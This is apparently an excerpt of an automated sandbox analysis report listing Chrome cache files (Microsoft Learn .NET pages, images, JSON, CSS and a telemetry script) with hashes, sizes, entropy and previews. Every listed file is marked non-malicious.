Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 47062
Category:	downloaded
Size (bytes):	9329
Entropy (8bit):	7.9767780233257835
Encrypted:	false
SSDEEP:	192:rYoTeB0AMhuEaPwjROQlMf0gn1VYGeO4Uaffxn7F6XT9NQ4mibfQE:rTkMuE9jA2shP5e2aeJqFGR
MD5:	4EA4561C54C7C144B3D9A41A9F27BA8B
SHA1:	1BAC7AF43CD015A1E66146F0D2FEB4589162199B
SHA-256:	04E2E0C544F0C2F749461528BE3B6FA27D9A49B7580E89C944913042B56909A8
SHA-512:	EC7D3976F353C43AE8AE1259F7171962BB89991781A1EFF4A3DE8F94D108CA1583CE2872E7959DAED5FCD93C1271DA01973F4DEF18CD8A309ECE78DF6B36EED8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	...........=ks.8......Xm.f........L.;S...&....rA$$qL..>......n<.. .8.<...$.h4..~....^}..._._.u...g....?.y~>X..C.....\|}.W._.I...2..?+7..'./...>....eTx../sV..FxQ.Z...O"...."...~.av>.....{...q......`.\....E.=.".q.R...(..A.#.[o.......?..I,..O..0...'g.Qp.y.c.Xz..62Ob....P.IV.p...y>...b}........ca..!....8...6.4KR..w.duZ.E$,ho.[6\|......$.b...a.x.FH.@.j.Q..`.....P........K..o."...Y.."...(..t4.....&..$O...O6#..Q...(FK..(...(.YC..yOa..;..D.ga.....b..f..V$,HX.dwI.r!..T.LN.b...@..ee.... 4ho..v..n`M.H E........I.i.".;'.z8.Q.e.../.Vc..5T$..7a.....Y`.......z.H.2...t...DI.+.E.....8......}..\.VmI[..oOk.A.$.U..b%.v..l.)/.V.=.U.Q.....$n..D............H@9......"....u.......f.{.....so..2....x.......X."...0.........T.........w.,....'G....c.......W.k...Q._]6..Nm.B......K...W\|..G..(..M......I..../......>$e.v.UX\.....N.......P.......1?8.S..`vr..'...(.:.......p..E.,F..(..3....c......&F..&..,....0EbS......&.?."........f<.M.G..t.][\.U........hU....o7+...`..Qr....

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 3130
Category:	downloaded
Size (bytes):	946
Entropy (8bit):	7.7735081104808375
Encrypted:	false
SSDEEP:	24:XoFj+NjcAuGS4WhDcD1RkMO/Bpus+3HSNvW3:XoFjecAFugd++3HSe
MD5:	A4DA4EFD33F23FB0A9FFFD2A7239E40B
SHA1:	F304C50F97A3A679E65C43085393B6DBA985451F
SHA-256:	07749F0F0C1F3D0AC2D9660F616EF3DAD11B823D5AB63ED49D0668C9FC2946B6
SHA-512:	FF87114BC8DAEE6862FEFFBC9BF124C1783C38C4EA1F973A4518FF44BE108355410ABD0D60EC7D904CA4EB9ACC0073BBCE26B1351BABD33DECFAAF8DB5C047E1
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	...........VMo.6..+.z.,.(.,..f..........Q#..D........J.#..=....y\|.8_.k..6]....Z4.Ay.O.Z..t..r.].Z.B..o:Kk...EV.8s.5....&)..X4...(!.5......._...U'..l.Q.......+x.s.3a...%../....<L.M......u.)W0F..'.z.p~..[..\1Ze..ic.[.......k..@..e.r/[..,../...G..?n.I.e.@.....N....p,}.[.E..C....D#...t.m...q..D....,..;..N....N(i....z.g..n.m......'.%n..d.rt.G..F.2.t..e..;0]S.........(.U.....f%..Q..e.:.1....'....;..:.K..P}..w..p..th.....{.%...N}.h.\%........D....b.".G...F.&.[.#;\|..Jp..^SV...x..../w.?.).hq.7.B..x..8..Z...J...A(..m.4.z......?VI.s.c.b.v...W.^.._f)..k..U.!k.....P4.\|]1..G`Y..b+"..3..N)..6...Q..y...vN.E....[.oQy.0...............h......^;..+j@.z.]..m.R..kfbuJ.#..l.....d...v..NJ.aD.2.yQ....3r..3U.9Wm.;A.....P.w@,.....N......T.J.wH.K.\|..RW:...qo.58m..q..F.0..V......Yh...7..._Fj.v.. ..X....pG..v...SL.....4..x......V5T...]xz..2.G2..%.~..&.V.....jC..h..A....&ZZ7..lc...z'\t...g)......M....+*uo....V.{..7?h.:...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 464328
Category:	downloaded
Size (bytes):	69886
Entropy (8bit):	7.99537408388997
Encrypted:	true
SSDEEP:	1536:wfomjUP+2hcDZrhKKYpqq+HcScbCphecik8YezamUKzwDFmkM:wYm26tQKWwXshwD0kM
MD5:	32FE5C41C8BE4730533B24849EB992D4
SHA1:	A7C6FB7380AB8BA18A92CE65709BB44373770D3D
SHA-256:	174E2B276C85066C277F923BCD1BFC085C0B3A836E1E4EAB5FBAFD5C9B804411
SHA-512:	BA15CB8C63DE949FF41B2FA0CBE6A073EE3F446D820FA49364F449B342E0F8AE58868C141F155734855C7679F5D9038E6935B513F782D8E073DF84A58BE81436
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	...........k..7.(.Wx.p.z....nv.>.gG.ny...9...".H.....~1z.~......g.....M.4...."..H$.@&...wy.\.E...U..W....._..,/._.z..8-....7.lW\-.....i.0]..F..[..d.&)..(...r:..zj~k[$&x.O..I...!..Y.<.fQ.Y.Y....r..%2.0..7.".o..b.x......%.V..&.+....\|N.\.."&e.L.}R.2...E..l6...0.N7..4....]r..DY..L.......W.'.,.T...!.^.uT....Da:.~..C]..:..%Q..oOV7K.Zm..h....M7Zqz..[2.7qT<..0.2.n..;_....^Z({.~.+-5..<..4.._.z...h.3........I7qr?...:..I.;J....i.MSx.I.d..=...<.].n....$.."Z'ekF...z_..../[....?<1..hv..%..t.aj..f+"6$..UR..+_>....6...o..gY>..4..g.3n.2e..(.~.\..2.M;.....UNtd..w.U....&.h......&..L.w.\|=..-I...>..U..j.Z.0...].z...&Y...V..h..9.u..r.T..t....fy`c.....{.j.....!K...%s.....?i....d...[..X.,X.0"..#.;"X..y.......z./..1...d...o..o.".fY..Tp...7l...m.f.c.}....f'..1..T...$L......@J.d..\|..'m.Hk......}...... ...2.$.z.?..vQU..9.h.#........Sh...4.I!....$...)..U$...>..=.4....O.....-:....n."...z....L..r4.<AeP..S.bq9..Fz..9.&.xY.jh..b.[5..E=..I.#....,i".{./...HF...M.t.."..X6B

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 25553
Category:	downloaded
Size (bytes):	4841
Entropy (8bit):	7.956818704022586
Encrypted:	false
SSDEEP:	96:V1ycg6X7V/71BL3/2qhPIpSpjuBofMWllerehO2RYlla9LScO0ZJpHZTfQ7EqgYS:V1ZhrhHL3/lhB3kWi0OyIa9+cjldI7LS
MD5:	E883EA5F8FEC12ED8ACE2ACAA7349C92
SHA1:	D5A9F1135FC52CD04CC714EC5FC3EB29748730D4
SHA-256:	CE88AA5D82D8CE8F18B51EB7513202A12EEBF67B19F39D40AB4ADCEA7ECF54C4
SHA-512:	B2B2D1B4689ACB3444387574A4B61201D315368C5AB0D1B29687B202C323FF2AC6D636F83EDFDFEDA97A4FABA1A4BF6369E63A9E2C8AA209956860432EDA90A4
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	...........]ks.F..+..~..D.\|...Rl..3........j.M.G ....t....v7@.$H..,.R.M....so#.t.<.D.:o.....G...._:....;...l.7L\|NDE.... .E..y.g2.x(......u..._..x..y....2.U...a..1....%i.L.R,..\..`.8O+.]v~...R..R\|.........iz,R....EG.q.F.t..c.O4'm.#U..L.....(x....}.q{.w.o.....C%<[.]..I(T...W....\....e.@2...q..........q.2.?.$.=.~%...(.M?.d.8...R...!&.VT....:=........fp....$.....S..)O.......U.............s....U.7.........3~..N.g..Cl5p...S...8u.$..6...........s...X.e..$a7"...@$a....a...r....?..1..gv~b43?.S....kf....-x...,.[0\......y...:.`...6....O.....Ru..Q...S..$q.9.......v.-.>.}..$.N. .*.......r..?.\|\F2.oW8B.-E.s....).;..x.].....]..`6.>..F.j.2..se...(.../b)U.s........P.........r..Wf....R..a..2....a...s1;+DU+'="..-e.C6...o.x..t.z.7...GI.7......C.\|.....$vP.....WYfH...N....e.]nv...N..N...Q......HF.~.%b:2.tr!.V..3........r.7_...Sr(s.....c...J>.....Q..`.q".8;........s.nf....m..KhTs.....U.{a.t.q.....q.,x..P]....B7$b;..uA.r...`.S9....L..Y......

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
